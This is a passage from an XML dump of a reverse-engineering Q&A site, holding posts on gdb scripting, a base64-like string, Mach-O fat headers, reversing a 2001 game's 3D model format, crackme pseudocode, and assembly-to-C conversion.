href=&quot;https://i.stack.imgur.com/whHGR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/whHGR.png&quot; alt=&quot;PE Header - Not complete&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-08-19T16:08:27.580" Title="Invalid Win32 application/Not a valid Exe" Tags="|windows|ollydbg|pe|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13317" PostTypeId="2" ParentId="11620" CreationDate="2016-08-19T12:51:07.073" Score="2" Body="&lt;p&gt;I've figure it out. You can figure out if a value is available by inspecting it via python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've create a convenience function which you can call from your &lt;code&gt;.gdbinit&lt;/code&gt; to easily check if the value is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save this in a python file and source it in your &lt;code&gt;.gdbinit&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class IsValid (gdb.Function):&#xA;    def __init__ (self):&#xA;        super (IsValid, self).__init__(&quot;isvalid&quot;)&#xA;&#xA;    def invoke (self, var):&#xA;        if var.__str__() == &quot;&amp;lt;unavailable&amp;gt;&quot;:&#xA;            return 0&#xA;        else:&#xA;            return 1&#xA;&#xA;IsValid ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By calling this convenience function, you can branch to handle the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($isvalid($ds))&#xA;    printf &quot; %04X  &quot;, $ds&#xA;else&#xA;    printf &quot; ----  &quot;&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17153" LastEditorUserId="17153" LastEditDate="2016-08-19T15:32:56.130" LastActivityDate="2016-08-19T15:32:56.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13318" PostTypeId="2" ParentId="12312" CreationDate="2016-08-19T13:01:58.637" Score="0" Body="&lt;p&gt;I would like to have made this a comment but do not have enough points to do so so this would have been a comment on the answer.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, the topmost window in a windows environment receives the RawInputThread (RIT).  The RIT automatically receives the mouse and keyboard messages and sends them to that window which is at the top of the Z order.   Having done a lot of this stuff in the distant past, if you ever need to take total control, a trick that can be done is to implement a top most window (z order) window which covers the whole screen, RIT will give it all messages, and you do what you want with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back when I was doing this there was little to no documentation on  RIT but now you can find lots of documentation.  I found this on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms645543(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN Raw Input&lt;/a&gt;, but it looks like they are making it more complicated than it really needs to be.  MSFT has done things over the years where they hide a topic, then clarify, then put the topic back into hiding.  duckduckgo shows numerous &lt;a href=&quot;https://duckduckgo.com/?q=%22raw%20input%20thread%22&amp;amp;t=hk&amp;amp;ia=web&quot; rel=&quot;nofollow&quot;&gt;hits&lt;/a&gt;  and yielded a nice &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20140213-00/?p=1773/&quot; rel=&quot;nofollow&quot;&gt;gem&lt;/a&gt; google didn't find on its first page.&lt;/p&gt;&#xA;" OwnerUserId="17024" LastActivityDate="2016-08-19T13:01:58.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13320" PostTypeId="1" CreationDate="2016-08-19T20:04:52.823" Score="0" ViewCount="119" Body="&lt;p&gt;I have a mobile data plan of 2 GBs. When I exceed it, I always get redirected to the network operator's website when I trying to load an URL. For some reason Telegram(Android app only, Desktop app doesn't go through) works without any problem or restriction. I can send and receive texts, audio messages and pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how does Telegam (or a similar app) goes through the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inspecting Chrome Dev. console's network tab every website throws an &lt;code&gt;HTTP 302 Moved Temporarily&lt;/code&gt; status code, and I get redirected to the network OP's site. I verified that Telegram works on HTTP 1.1/TCP port 80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, is it a bug in network op's software?&#xA;Is it legal to use although my data plan is exceeded? I'm curious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The browsing and traffic of other apps are totally blocked, so it's not about that my data plan just got slowed down. And in my country there is no law for enabling some data traffic for emergency text, at least not over data plan. Also my network operator hasn't advertised free network traffic for Telegram, like other network operators for facebook or etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reviewing my network traffic with Wireshark but there was no main difference in the packets of Telegram and Chrome's packets. I also started to search after some connection techniques in Telegram's code(it's on github) but it has a really huge code base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed this behavior with Skype last year, but now it doesn't seem to connect. &lt;/p&gt;&#xA;" OwnerUserId="17159" LastEditorUserId="2147" LastEditDate="2016-08-22T16:30:56.097" LastActivityDate="2016-08-22T16:30:56.097" Title="How does some application get through the block when mobile data plan is exceeded" Tags="|debugging|android|networking|" AnswerCount="1" CommentCount="1" ClosedDate="2016-08-26T18:01:49.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="13322" PostTypeId="2" ParentId="8044" CreationDate="2016-08-20T01:10:03.360" Score="0" Body="&lt;p&gt;Step 4. You forgot to do it recursively. It won't copy the files in /res when you zip it. Add -r option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zip -r test.zip AndroidManifest.xml classes.dex res META-INF resources.arsc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 6. You don't need to sign it again since you re-packed it with META-INF directory to your apk already. Signing info is inside META-INF.&lt;/p&gt;&#xA;" OwnerUserId="17164" LastActivityDate="2016-08-20T01:10:03.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13323" PostTypeId="1" CreationDate="2016-08-20T07:29:43.783" Score="1" ViewCount="2830" Body="&lt;p&gt;Following string looks like base64 to me, but fewer digits or lowercase characters than upper. Some base64 decoders fail decoding it.&#xA;Could it still be base64? Is there a way to decode it?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XkNGFUACH01FRUUXXV5WVFMEFkxVXA4dB0EVWkxBBxFTQ20VUktDFV1AVhYDCwYEAFFQTQYEVFRXDANQUQJWUw4FBFBVCwlaCgoFDAIEVAEDVV&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17167" LastEditorUserId="4437" LastEditDate="2016-08-20T17:48:08.080" LastActivityDate="2016-08-20T23:19:14.933" Title="Base64 encoding with missing padding and many uppercase letters" Tags="|encodings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13325" PostTypeId="2" ParentId="13323" CreationDate="2016-08-20T14:17:18.733" Score="4" Body="&lt;p&gt;This &lt;em&gt;might&lt;/em&gt; be base64, Although it is missing the required padding. base64 encoded string lengths are &lt;code&gt;4*(n/3)&lt;/code&gt; where &lt;code&gt;n&lt;/code&gt; is the original string. Padding is done with one or two equal (&lt;code&gt;=&lt;/code&gt;) marks. Since your string is 110 bytes long, it should end with two padding bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually adding the two padding bytes (which are sometimes omitted because they're predictable) results in the following hex:&#xA;&lt;code&gt;5e43461540021f4d454545175d5e56545304164c555c0e1d0741155a4c41071153436d15524b43155d405616030b06040051504d06045454570c0350510256530e050450550b095a0a0a050c020454010355&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this look right to you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because more than half the characters in this binary string are relatively low numbers and uppercase letters are at the bottom of the base64 table, it's reasonable to have an encoded string with many uppercase letters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is merely a guess, and must be validated by comparing multiple known input/output pairs or by actually reverse engineering the encoding/decoding function.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-08-20T23:19:14.933" LastActivityDate="2016-08-20T23:19:14.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13326" PostTypeId="2" ParentId="13320" CreationDate="2016-08-20T14:29:39.997" Score="1" Body="&lt;p&gt;One of the ways to block unauthorized internet access in similar kiosks is by implementing a DNS redirection. Responding to any DNS request with the same server, and having that server redirect you to the &quot;exceeded data plan&quot; with 302 Moved Temporarily HTTP response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be validated by accessing an IP directly instead of a domain name, and might be what Telegram is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method often used could be directly spoofing the HTTP response with a 302 Moved Temporarily response. This usually works when accessing websites using the &lt;code&gt;http://&lt;/code&gt; protocol. While most websites will redirect you to the &lt;code&gt;https://&lt;/code&gt; URL the connection starts unencrypted and that's a nice opening to hijack it. Telegram might be doing it for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be validated by accessing the &lt;code&gt;https://&lt;/code&gt; URL of any website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third option is communicating at a level lower than HTTP, thus bypassing the redirection completely. Telegram may be using something more raw as a backup option for when HTTP fails when communicating with its servers, or may use some kind of peer-to-peer communication to use other users as proxies when internet is not directly available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a simple way to validate that idea.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-08-20T14:29:39.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13327" PostTypeId="2" ParentId="13015" CreationDate="2016-08-20T14:55:07.297" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=28&quot; rel=&quot;nofollow&quot;&gt;FindCrypt&lt;/a&gt; and &lt;a href=&quot;https://sourceforge.net/projects/idasignsrch/&quot; rel=&quot;nofollow&quot;&gt;IDASignsrch&lt;/a&gt; are both plugins used to scan the binary itself for cryptographic algorithm signatures. Non of them try to map API functions (and certainly not for iOS).&#xA;They work by searching for specific constants and structures nearly always used for specific cryptographic related initialization and hardcoded values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/daniel_plohmann/simplifire.idascope/&quot; rel=&quot;nofollow&quot;&gt;IDAScope&lt;/a&gt; Is a tool that can label functions based on the APIs they're using, so it kind of does what you're looking for but is limited to windows executables and APIs. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-19T21:46:03.287" LastActivityDate="2016-10-19T21:46:03.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13328" PostTypeId="2" ParentId="13308" CreationDate="2016-08-21T07:59:00.163" Score="4" Body="&lt;p&gt;There is no reliable resource which gives an answer to the concrete question if a order exists or not. The question is why would you expect a fixed order of &lt;code&gt;fat_arch&lt;/code&gt; sections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel simply loads the Universal Binary at execution time, parses the &lt;code&gt;fat_arch&lt;/code&gt; structure(s) and selects a matching architecture type. So in my understanding there is no need for a fixed (or expectable) order of the &lt;code&gt;fat_arch&lt;/code&gt; sections.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-21T07:59:00.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13331" PostTypeId="1" AcceptedAnswerId="13344" CreationDate="2016-08-21T14:31:07.430" Score="6" ViewCount="2958" Body="&lt;p&gt;This is a korean MMORPG released back in 2001. The game and the company no longer exists. I've been analyzing the file formats as a personal project for awhile now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already decoded the textures and script files. I only have 2 more files left to decode: &lt;code&gt;.ani&lt;/code&gt; and &lt;code&gt;.obj&lt;/code&gt;. With the extensions, I would guess that the &lt;code&gt;.ani&lt;/code&gt; contains the animation and &lt;code&gt;.obj&lt;/code&gt; contains the 3d models. As the title of my question would suggest. I'm currently working on the &lt;code&gt;.obj&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I Know&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.obj&lt;/code&gt; files are actually archives that contains one or more models. But exclusively 3D models (biped) because the textures are found on another archive with the extension &lt;code&gt;.t16&lt;/code&gt; or &lt;code&gt;.tex&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll take the 22nd model inside the file &lt;code&gt;def.obj&lt;/code&gt; as an example. I have also taken it out of the archive and saved it as a file called `def_022.obj.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here on, I'll call the 22nd model &lt;code&gt;Armor of Eagle&lt;/code&gt;. The next image is the texture for the &lt;code&gt;Armor of Eagle&lt;/code&gt; found on &lt;code&gt;def.t16&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OXODV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OXODV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Armor of Eagle in-game:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ttpa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ttpa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;def_inf.txt&lt;/code&gt; file has this related line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename    LODstep polycnt&#xA;armor_eagle 0       313     // eagle = index 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In general, the structure of &lt;code&gt;.obj&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06 00 00 00 03 00     // don't know what&#xA;3C 00                 // total number of models in this list&#xA;01 00 9E 00 00 00 9E 00 00 00 78 00 00 00 78 00 00 00 // the first model on the list with 0x9E polygons and 0x78 verticies&#xA;01 00 64 00 00 00 64 00 00 00 61 00 00 00 61 00 00 00 // the 2nd model&#xA;....... // continues until you reach the end of the headers&#xA;....... // then the bodies start, actual 3d data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how the headers looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/duJ5J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/duJ5J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cyan: &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;39 01 00 00 = 313 polygon count&lt;/li&gt;&#xA;&lt;li&gt;18 01 00 00 = 280 vertex count&lt;/li&gt;&#xA;&lt;li&gt;AD 00 6B 00 = unknown&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;About def_022.obj&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The face indices start at &lt;code&gt;0x4C [00 00 01 00...]&lt;/code&gt;&lt;br&gt;&#xA;and by the looks of it ends at &lt;code&gt;0x7A2 [...A2 00 A3 00]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using the tool called &lt;code&gt;hex2obj 0.24c&lt;/code&gt; but didn't have any luck in guessing the starting points of the vertices and uv list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xiRGV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xiRGV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yellow: seems to me that it is the chunk marker. (because all files start with it)&lt;/li&gt;&#xA;&lt;li&gt;Light Blue: is a uint16 seq no., +1 for every model inside the &lt;code&gt;def.obj&lt;/code&gt;. And it also corresponds to the index of its texture (on the texture archive).&lt;/li&gt;&#xA;&lt;li&gt;Dark Green: is the face indices.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;The Question&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I go forward?  &lt;/li&gt;&#xA;&lt;li&gt;How do I find the address where the UV starts? (&lt;em&gt;books? articles? resources?&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Lastly, how do I know where the vertices start?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is all considering that I just analyze the binary and not debug the client itself to see how the client is taking the data.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I noticed a few new things on the file I'm analyzing &lt;code&gt;def_022.obj&lt;/code&gt;. A bytearray gets repeated a lot of times. Although, I'm still not sure of the significance YET. &lt;code&gt;00 00 80 3F&lt;/code&gt; is also the bytes that each model start with, which I thought was the chunk marker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7JIx3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7JIx3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yellow: is the repeated bytes. You'll also notice that it is usually preceded by the byte &lt;code&gt;0x3F&lt;/code&gt; or &lt;code&gt;0x3E&lt;/code&gt; and followed by &lt;code&gt;0x0C&lt;/code&gt; and &lt;code&gt;0x0D&lt;/code&gt; and then 3 bytes of &lt;code&gt;0x00&lt;/code&gt;. This pattern gets repeated 185 times.&lt;/li&gt;&#xA;&lt;li&gt;Cyan: is the area containing the face indices.&lt;/li&gt;&#xA;&lt;li&gt;Upon further research I found out that &lt;code&gt;3f80 0000 = 1&lt;/code&gt; or &lt;code&gt;0000 803f = 1&lt;/code&gt; for little endian. But still don't know the significance, I'm going to dig deeper.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Based on the notes Mr @RadLexus has kindly provided. I was also able to plot the vertices and imported into blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mzEjq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzEjq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added the normals and UV:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v -13.531700 37.445000 2.338600&#xA;vn -0.687800 0.725000 -0.036200&#xA;vt 0.583800 0.086300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried adding the faces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f 1 2 3&#xA;f 1 3 4&#xA;f 5 6 7&#xA;f 5 7 8&#xA;f 9 10 11&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rvS6x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvS6x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still can't figure out how to apply the textures.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So I tried changing my &lt;code&gt;.obj&lt;/code&gt; file to include a few more info about the face values like (just duplicated the value as x/x/x):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f 1/1/1 2/2/2 3/3/3&#xA;f 1/1/1 3/3/3 4/4/4&#xA;f 5/5/5 6/6/6 7/7/7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I finally got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/44PDX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/44PDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's still wrong, I guess I'm a bit closer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;FINAL UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Have figured it out. Although, I still don't know what the unknown1 and unknown2 are but it looks good enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BHvh8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BHvh8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: I know almost nothing about 3D file formats. Other than the basic components of a 3D object.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/i3yi7ol4cii5mtr/obj_file.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download Related Files Here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2016-08-25T19:43:38.717" LastActivityDate="2016-08-25T19:43:38.717" Title="Reversing a 3D file format from 2001" Tags="|binary-analysis|file-format|hex|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13332" PostTypeId="1" CreationDate="2016-08-21T15:34:38.040" Score="2" ViewCount="184" Body="&lt;p&gt;During translating some asm code into pseudocode I've found two variables: $rbp-0xb4 and $rbp-0xb8&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_password(arg0) {&#xA;   var_18 = *0x28; //stack checksum?&#xA;   if (parse_cereal(var_D0, arg0) == 0){&#xA;   //var_B8, var_B4 from where?&#xA;     if (var_B8 &amp;gt; 0){&#xA;        print_cereal(var_D0);&#xA;        for (var_E4 = 0; var_E4 &amp;lt;= 7; var_E4++) {&#xA;          rbp[var_E4 * 2 - 0xe0][0:2] = rbp[var_E4 * 4 - 0xd0][0:2];//2 lower bytes&#xA;        }&#xA;        for (var_E4 = var_B4 + var_B8; var_E4 &amp;gt; 0; var_E4--) {&#xA;           MD5_Init(MD5instance);&#xA;           MD5_Update(MD5instance, var_E0, 16);&#xA;           MD5_Final(var_E0, MD5instance); //var_B0 = MD5instance&#xA;        } //var_B8+var_B4 should be &amp;lt;= 0&#xA;        //var_B8 &amp;gt; 0, =&amp;gt; var_B4 should be &amp;lt;= -var_B8&#xA;        var_E4 = 0;&#xA;        for(var_E4=0;var_E4 &amp;lt;= 5;var_E4++){&#xA;           if not(rbp[var_E4 * 2 - 0xe0][0:2] == rbp[var_E4 * 4 - 0xd0][0:2])//2 lower bytes &#xA;           {&#xA;             rax = 0xffffffff;&#xA;             rbx = var_18 ^ *0x28;&#xA;             if (rbx != 0x0) {&#xA;             rax = __stack_chk_fail();&#xA;             }&#xA;             return rax;&#xA;           }&#xA;        }&#xA;        else{&#xA;          rax = 0x0;&#xA;&#xA;          rbx = var_18 ^ *0x28;&#xA;          if (rbx != 0x0) {&#xA;             rax = __stack_chk_fail();&#xA;          }//stack check&#xA;          return rax;&#xA;        }&#xA;     }&#xA;     else{&#xA;        puts(&quot;I can't take any risks with you. The counter at the end must be larger than 0000+XXXX.&quot;);&#xA;        rax = 0xffffffff;&#xA;        rbx = var_18 ^ *0x28;&#xA;        if (rbx != 0x0) {&#xA;           rax = __stack_chk_fail();&#xA;        }&#xA;        return rax;&#xA;     }&#xA;&#xA;}&#xA;else&#xA;{&#xA;   puts(&quot;That's not a cereal box. Cereals are a bit like ipv6s but LESS COMPLICATED.&quot;);&#xA;   rax = 0xffffffff;&#xA;   rbx = var_18 ^ *0x28;&#xA;   if (rbx != 0x0) {&#xA;     rax = __stack_chk_fail();&#xA;   }&#xA;   return rax;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like $rbp-0xb8 is set after parse_cereal call, but I don't know from where should I take it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is parse_cereal pseudocode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parse_cereal(arg0, arg1){ //arg1 - string to parse, arg0 where to parse &#xA;   if(strlen(arg1)==39){&#xA;      for(var_8=0;var_8&amp;lt;=0x26;var_8++){&#xA;      if (((arg1[var_8] &amp;lt;= 0x2f) || (arg1[var_8] &amp;gt; 0x39)){&#xA;           if ((arg1[var_8] &amp;lt;= 0x60) || (arg1[var_8] &amp;gt; 0x66)){&#xA;             if ((arg1[var_8] &amp;lt;= 0x40) || (arg1[var_8] &amp;gt; 0x46)){&#xA;               if (arg1[var_8] != 0x3a){&#xA;                  rax = 0xffffffff;&#xA;                  return rax;&#xA;               }&#xA;             }&#xA;           }&#xA;      }&#xA;      }&#xA;      //check symbols range '0-9' ':' 'a-f' 'A-F'&#xA;      for(var_8=0;var_8&amp;lt;=7;var_8++){//0,1,&#xA;     arg0[var_8*4] = 0; //arg0 = var_18&#xA;     for (var_4 = 5*var_8; 4 + 5*var_8 &amp;gt; var_4; var_4++) {&#xA;          rdx = arg0[var_8*4];//always zero at first iteration, 4 bytes&#xA;          rsi = arg0[var_8*4] * 16;&#xA;          rsi += UppercaseToLowercase(arg1[var_4]);//rsi += lower(arg[1])&#xA;          if (arg1[var_4] &amp;lt;= 0x39) {&#xA;            rax = 0x30;//set '0123456789' to 0&#xA;          }&#xA;          else {&#xA;            rax = 0x57; //set other symbols to 'W'&#xA;          }&#xA;          rdx = rsi - rax;//arg0[var_8*4]=(arg0[var_8*4]*16+lower(arg1[var_4]))-rax?&#xA;     }&#xA;     //proceed 4 bytes&#xA;     if not ((var_8 &amp;gt;= 7) || (arg1[var_4] == 0x3a)){ //check if arg1[i](i=5,10,15,20,25,30,35) is ':'&#xA;        rax = 0xffffff;&#xA;        return rax;&#xA;     }&#xA;      }&#xA;      rax = 0;&#xA;      return rax;&#xA;   }&#xA;   else{&#xA;      rax = 0xfffff;&#xA;      return rax;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binary I'm disassembling located &lt;a href=&quot;https://github.com/wapiflapi/exrs/blob/master/reverse/r8&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17140" LastActivityDate="2016-10-20T20:00:16.300" Title="Unknown variable from asm code" Tags="|disassembly|decompilation|stack-variables|hopper|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13333" PostTypeId="1" AcceptedAnswerId="13334" CreationDate="2016-08-21T15:49:35.903" Score="0" ViewCount="642" Body="&lt;p&gt;I have the following function in assembly, and i'm trying to convert it to c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the function accept 2 parameters, the first one is &lt;code&gt;char*&lt;/code&gt; and the second is the &lt;code&gt;int&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;71D3C400     PUSH EBP&#xA;71D3C401     MOV EBP,ESP&#xA;71D3C403     SUB ESP,8&#xA;71D3C406     MOV DWORD PTR SS:[EBP-8],0&#xA;71D3C40D     MOV DWORD PTR SS:[EBP-4],0&#xA;71D3C414     JMP SHORT 71D3C41F                       ; 71D3C41F&#xA;71D3C416     MOV EAX,DWORD PTR SS:[EBP-4]&#xA;71D3C419     ADD EAX,1&#xA;71D3C41C     MOV DWORD PTR SS:[EBP-4],EAX&#xA;71D3C41F     MOV ECX,DWORD PTR SS:[EBP-4]&#xA;71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]&#xA;71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B&#xA;71D3C427     MOV EDX,DWORD PTR SS:[EBP+8]&#xA;71D3C42A     ADD EDX,DWORD PTR SS:[EBP-4]&#xA;71D3C42D     MOVZX EAX,BYTE PTR DS:[EDX]&#xA;71D3C430     CMP EAX,0D&#xA;71D3C433     JE SHORT 71D3C443                        ; 71D3C443&#xA;71D3C435     MOV ECX,DWORD PTR SS:[EBP+8]&#xA;71D3C438     ADD ECX,DWORD PTR SS:[EBP-4]&#xA;71D3C43B     MOVZX EDX,BYTE PTR DS:[ECX]&#xA;71D3C43E     CMP EDX,0A&#xA;71D3C441     JNZ SHORT 71D3C445                       ; 71D3C445&#xA;71D3C443     JMP SHORT 71D3C416                       ; 71D3C416&#xA;71D3C445     MOV EAX,DWORD PTR SS:[EBP+8]&#xA;71D3C448     ADD EAX,DWORD PTR SS:[EBP-4]&#xA;71D3C44B     